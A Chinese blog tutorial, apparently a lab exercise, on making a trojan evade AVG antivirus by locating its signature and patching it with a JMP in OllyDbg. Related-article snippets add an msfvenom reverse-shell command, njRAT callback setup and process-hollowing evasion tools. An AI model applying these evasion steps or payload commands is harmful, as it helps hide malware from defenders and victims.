绕过杀毒软件，免杀木马制作

已于 2022-12-14 11:46:42 修改
阅读量1.9k 收藏 11
点赞数 1
分类专栏： 网络攻防 文章标签： 信息安全 网络安全 安全 系统安全
于 2022-08-30 11:36:27 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43678263/article/details/126600516
版权

绕过杀毒软件，免杀木马制作（以AVG Anti Spyware杀毒软件为例）

一、将Sever.exe打开，分块生成100个文件

在这里插入图片描述

二、使用AVG Anti Spyware查杀生成的文件，再二次处理，重复这个过程，直到缩小到很小的范围，精确定位特征码于0009B9C3

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、将文件偏移地址0009B9C3转换成内存地址0049C5C3

在这里插入图片描述

四、在OllyDbg中跳转到0049C5C3，滑动滚轮看到0049C5C1特征码指令内容，将指令内容填至程序最下方00空白的004A21E4处，并将JMP 004A21E4汇编至0049C5C1处。全部复制保存即能实现木马的免杀。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、将免杀木马在XP肉鸡上运行，Win7主机控制端能看见XP肉鸡上线

在这里插入图片描述
在这里插入图片描述

youhao108
关注
  • 1
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
linux 杀毒软件 木马扫描 clamav
08-16
linux 杀毒软件 木马扫描 clamav
免杀补丁过杀毒软件
06-30
免杀补丁。使用木马文件过杀毒软件的必备软件！
5.15更新！免杀绕过Defender、360
潇湘信安的博客
07-18 2018
python3写的这个免杀工具，其原理是利用windows提供的API运行指定程序，然后修改其内存数据，将目标进程“掏空”替换成恶意的木马程序以达到隐蔽和免杀的目的。
绕过杀软（二）——免杀exe文件（360、火绒免杀）
W小哥
06-12 1万+
攻击机： win7 IP： 192.168.32.134 靶机： windows server 2012（安装360、火绒） IP： 192.168.32.133第一步：使用njRAT生产一个客户端exe木马 输入回连端口号8888，点击start 配置客户端木马的回连地址：192.168.32.134 将文件保存在桌面 开启360杀毒，直接报毒，不免杀 1、将生成的客户端木马：Server.exe在 Encryption Tool V3.0中以base64加密方式打开 打开之后，将base6
2024年网络安全最全【网络安全】渗透测试之木马免杀_免杀渗透小组，意外的惊喜
最新发布
2401_84263434的博客
05-06 311
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。
2021Kali -- 木马免杀制作
weixin_41489908的博客
04-24 3914
​知道为什么梦里的人都看不清脸么？因为怕你当真。。。 ---- 网易云热评 一、通过MSF生成shellcode 1、启动MSF，演示版本是6.0.36 2、通过msfvenom生成相关代码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.139.133 lport=8585 -f c -p：指定payload -e：指定选择使用的编码 ...
教你制作一个木马免杀的360
EdisonJH的博客
03-17 3629
制作一个360免杀的木马 我们用到工具： kail：利用msfvenom （美少妇） MSFvenom 的常用命令 1、我们进入到msf里面 在msf后生成一个exe的木马文件，这-p 就是生成window 模块playload、-e x86平台 -i 编码5ci ihost：你的ip iport你的端口 、-f 生成的exe文件，>名字就是shell.exe msfvenom -p wi...
记一次多平台免杀PHP木马的制作过程
icewolf00的博客
01-20 2072
最开始萌生出写免杀WebShell的想法是这个月初上网时，偶然看到了阿里安全应急响应平台的一则线上活动“第三届伏魔恶意代码挑战赛”的报名公告，大致看了一下之后发现该比赛的内容为编写PHPJSPPython或Bash语言的后门代码，若编写的代码通过了阿里最新一代检测引擎（即挑战靶场）的检测，并且不和别的师傅重复之后就算比赛通过了。鉴于我对PHP语言和网络安全方面较为了解，于是我就抱着试一试的心态报名了PHP赛道。在奋战了4天之后，我编写出了一个215。
LoaderFly！一款新的红队免杀工具
潇湘信安的博客
09-18 241
@wangfly师傅分享的一个用于红队快速生成免杀木马的工具，基于shellcodeloader项目进行的魔改二开，目前还能过国内外主流杀软。
CS木马免杀技巧分享.pdf
08-11
01Shellcode加载器 02 Powershell免杀 03 利用场景介绍
myccl 木马免杀必备软件
06-29
木马免杀必备软件 特征码识别等功能 木马免杀必备软件
木马免杀文档
11-17
免杀的方法有很多，无奈没见哪为朋友综合系统的介绍，也苦了小菜们求学无门，只好掏银子找“师傅”，所以我就自告奋勇站出来一次，不足之处还请各位高手多多包涵…… 我个人总结的免杀方法总共分两类，即主动免杀与...
【渗透实战】木马免杀
zkaqlaoniao的博客
11-14 1386
base64 sgn编码。
简单的Msf木马免杀
weixin_47948655的博客
08-12 1020
简单加密shellcode与加载器实现msf木马免杀
免杀对抗-成品EXE免杀-反特征码-通用跳转
xiaoheizi的博客
10-04 1335
1.将工具和exe程序放到环境中，启动程序，点击制作测试文件---选择exe程序，点击ok后会在工具目录下生成一个virtest.vir文件。因为目标使用的是火绒，所以我们自己搭建一个火绒环境，使用VirTest工具检测出exe程序的什么地方被火绒杀了。所以需要再次修改特征码处：将保存了00区间修改的exe程序拖入ollydbg工具中，搜索定位特征码汇编地址后四位。22.开启火绒检测，只保存了00区间修改的半成品被杀了。9.定位到特征码处，向下滑动一下，然后选中复制，将特征码的汇编地址保存起来。
关于木马免杀的一些方法
oiadkt的博客
04-27 1278
关于木马免杀的一些方法
木马免杀原理及方法（超全）
热门推荐
zhangnn5的专栏
05-22 1万+
灰鸽子免杀<br />概况 　　免杀意为免除被杀毒软件杀掉的软件。 　　灰鸽子免杀简介：本工具为纯绿色工具,软件采用独特的查杀技巧可完全查杀灰鸽子全系列(VIP2005、vip2006、免杀处理)木马,本软件已经过严格测试,备用本工具可以让您免受灰鸽子木马的困饶.更新内容：软件增加在线更新功能,增加对VIP2006系列及免杀处理的鸽子的查杀。 编辑本段原理解析灰鸽子免杀原理免杀技术全揭密 　　一.关于免杀的来源 　　为了让我们的木马在各种杀毒软件的威胁下活的更久. 　　二.什么叫免杀和查杀 　　可分为
Kali Linux渗透测试实战：Msfvenom木马生成与攻防实战教程
08-19
1、课程概要       本课程主要分享Kali Linux渗透测试实战：Msfvenom生成木马攻防实战教程！ 2、课程目标         本课程致力于帮助广大学员掌握Msfvenom木马生成与攻防实战技巧！ 3、适合人员        本课程适合兴趣计算机与网络安全技术的学员观看学习！ 4、特别说明        本课程支持一次购买，永久观看，请广大学员们放心选购！
请制作一个Axure高保真源文件
06-12
很抱歉，作为一个语言模型AI，我无法直接为你制作一个Axure高保真源文件。但是，我可以为你提供一些制作Axure高保真源文件的建议和步骤： 1. 设计思路：在开始制作Axure高保真原型之前，首先要明确设计思路和需求，包括网站的定位、用户需求、设计风格等。只有明确了这些要素，才能更好的进行原型制作。 2. 界面设计：根据设计思路和需求，开始进行界面设计。在设计过程中，要注意页面的布局、色彩、字体、图片等细节，尽量做到符合用户需求和设计风格。 3. Axure软件操作：在进行Axure高保真原型制作时，需要熟练掌握Axure软件的各种操作，包括添加组件、设置交互、制作动画等。可以通过官方文档、教程等资源学习和提升自己的操作能力。 4. 原型测试和优化：在制作完成后，需要对原型进行测试和优化，包括测试用户体验、发现问题并及时修改等。 总之，制作Axure高保真源文件需要具备一定的设计能力和Axure软件操作技能，同时也需要不断学习和提升自己的能力。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

youhao108

行行好吧，揭不开锅了~QAQ

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值